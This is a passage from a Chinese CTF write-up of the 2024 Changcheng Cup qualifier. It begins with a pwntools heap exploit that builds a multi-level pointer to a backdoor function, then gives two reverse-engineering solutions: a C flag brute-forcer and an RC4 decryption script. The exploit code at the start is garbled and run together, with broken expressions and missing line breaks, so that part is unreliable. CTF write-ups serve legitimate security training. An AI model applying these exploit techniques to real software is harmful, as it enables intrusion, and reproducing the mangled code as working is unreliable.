b"Choice>>"def add(): sla(menu, b"1")def show(idx): sla(menu, b"2") sla(b"index: ", strencode(idx)) ru(b"gift: ") return int16(r(9))def edit(idx, len, content):sla(menu, b"3") sla(b"index: ", strencode(idx)) sla(b"len: ", strencode(len)) sla(b"content: ", content)def exit(): sla(menu, b"4")def g(): gdb_sript = '''b *0x8048a86n''' gdb.attach(io, gdb_sript) log_all()back = 0x80489CEadd()add()add()show(0)heap_0x8 = show(0)# g()# pause()edit(032, p32(back) * 6)edit(-832, p32(heap_0x8 + 8* 6)0xffea57dc0 -> gift + 81 -> gift + 0x20 + 82 -> gift + 0x20 * 2 + 8-1 ->gift + 0x20 * (-8+ 8lg("heap_0x8")ia()

经过调试发现这里的edit第一个参数*(&v25 + v20)是堆地址,第二个参数是content 第三个参数是index,第四个是nbytes2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP注意到(***(&v25 + v20)}(*(&v25 + v20));需要在堆上放置一个二级指针2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

经过调试发现-8的位置有⼀个栈指针,这个栈指针会指向我们第⼀次edit的内容,所以利⽤这个栈指针可以构造⼀个三级指针指向后⻔函数,等待程序⾃⼰调⽤即可

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

RE

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




01
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

dump


2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

可以看的出来是命令行传参

尝试动调

 

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

这里才是最后加密的地方,不过是逐字符加密,并且会输出密文,直接爆破

include <stdio.h>#include <stdlib.h>#include <string.h>#define MAX_OUTPUT_LEN 1024#define ENC_LEN 22#define FLAG_LEN 22const char *enc[ENC_LEN] = {    "23""29""1e""24""38""0e""15""20""37""0e"    "05""20""00""0e""37""12""1d""0f""24""01""01""39"};const char printable[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ ";int main() {    char flag[FLAG_LEN + 6] = "flag{";    int index = 5;    char output[MAX_OUTPUT_LEN];    FILE *fp;    for (int i = 0; i < 17; i++) {        for (int j = 0; printable[j] != ''; j++) {            snprintf(flag + strlen(flag), 2"%c", printable[j]);            fp = popen(flag, "r");            if (fp == NULL) {                perror("popen failed");                return 1;            }            fgets(output, MAX_OUTPUT_LEN, fp);            fclose(fp);            int len = strlen(output);            if (len >= (index + 1) * 2) {                char hex_pair[3] = {output[index * 2], output[index * 2 + 1], ''};                if (strcmp(hex_pair, enc[index]) == 0) {                    printf("%c", printable[j]);                    flag[strlen(flag) - 1] = printable[j];                    index++;                    break;                }            }        }    }    printf("nFinal flag: %sn", flag);    return 0;}


2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP




02
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
EzCsky

找了特别久的都打不开elf文件,偶然打开了但是很明显完全没有信息

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


后面重新用ghidra打开了.

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


找到关键函数,根据内容寻找敏感数据

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


成功找到密文: 

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP


和之前找到的数据吻合,基本可以确定这一串就是他的加密密文

由于上述函数,猜想应该是rc4加密. 加密和解密过程使用相同的步骤,因为 RC4 是对称加密算法a。

通过伪随机字节流的异或操作,明文可以加密成密文,密文可以解密回明文。RC4 将明文逐字节地与伪随机生成的字节流进行异或操作来生成密文.但是此处是将当前字符和后一位字符异或.写出脚本进行解密

脚本

#include <stdio.h>#include <string.h>void initialize_state(unsigned char *state, const unsigned char *key, unsigned long key_len) {    for (int i = 0, j = 0; i < 256; i++) {        state[i] = i;        j = (j + state[i] + key[i % key_len]) % 256;        unsigned char temp = state[i];        state[i] = state[j];        state[j] = temp;    }}void rc4_decrypt(unsigned char *data, unsigned long data_len, const unsigned char *key, unsigned long key_len) {    unsigned char state[256];    initialize_state(state, key, key_len);    for (unsigned long k = 0, i = 0, j = 0; k < data_len; k++) {        i = (i + 1) % 256;        j = (j + state[i]) % 256;        unsigned char temp = state[i];        state[i] = state[j];        state[j] = temp;        data[k] ^= state[(state[i] + state[j]) % 256];    }}int main() {    const unsigned char key[] = "testkey";    const unsigned long key_len = strlen((const char *)key);    unsigned char ciphertext[] = {        0x96, 0x8F, 0xB8, 0x08, 0x5D, 0xA7, 0x68, 0x44, 0xF2, 0x64,        0x92, 0x64, 0x42, 0x7A, 0x78, 0xE6, 0xEA, 0xC2, 0x78, 0xB8,        0x63, 0x9E, 0x5B, 0x3D, 0xD9, 0x28, 0x3F, 0xC8, 0x73, 0x06,        0xEE, 0x6B, 0x8D, 0x0C, 0x4B, 0xA3, 0x23, 0xAE, 0xCA, 0x40,        0xED, 0xD1    };    rc4_decrypt(ciphertext, sizeof(ciphertext), key, key_len);    for (int i = sizeof(ciphertext) - 1; i > 0; i--) {        ciphertext[i] ^= ciphertext[i - 1];    }    for (unsigned long i = 0; i < sizeof(ciphertext); i++) {        printf("%c", ciphertext[i]);    }    return 0;}
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP
2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP







注:ZeroPointZero安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的







欢迎师傅们加入我们:
ZeroPointZero安全团队纳新群1:553624735

有兴趣的师傅欢迎一起来讨论!

团队纳新简历投递邮箱:[email protected]

2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP





END

原文始发于微信公众号(ZeroPointZero安全团队):2024“长城杯”铁人三项赛 (防护赛)初赛WriteUP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月16日22:00:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024“长城杯”铁人三项赛 (防护赛)初赛WriteUPhttp://cn-sec.com/archives/3514606.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息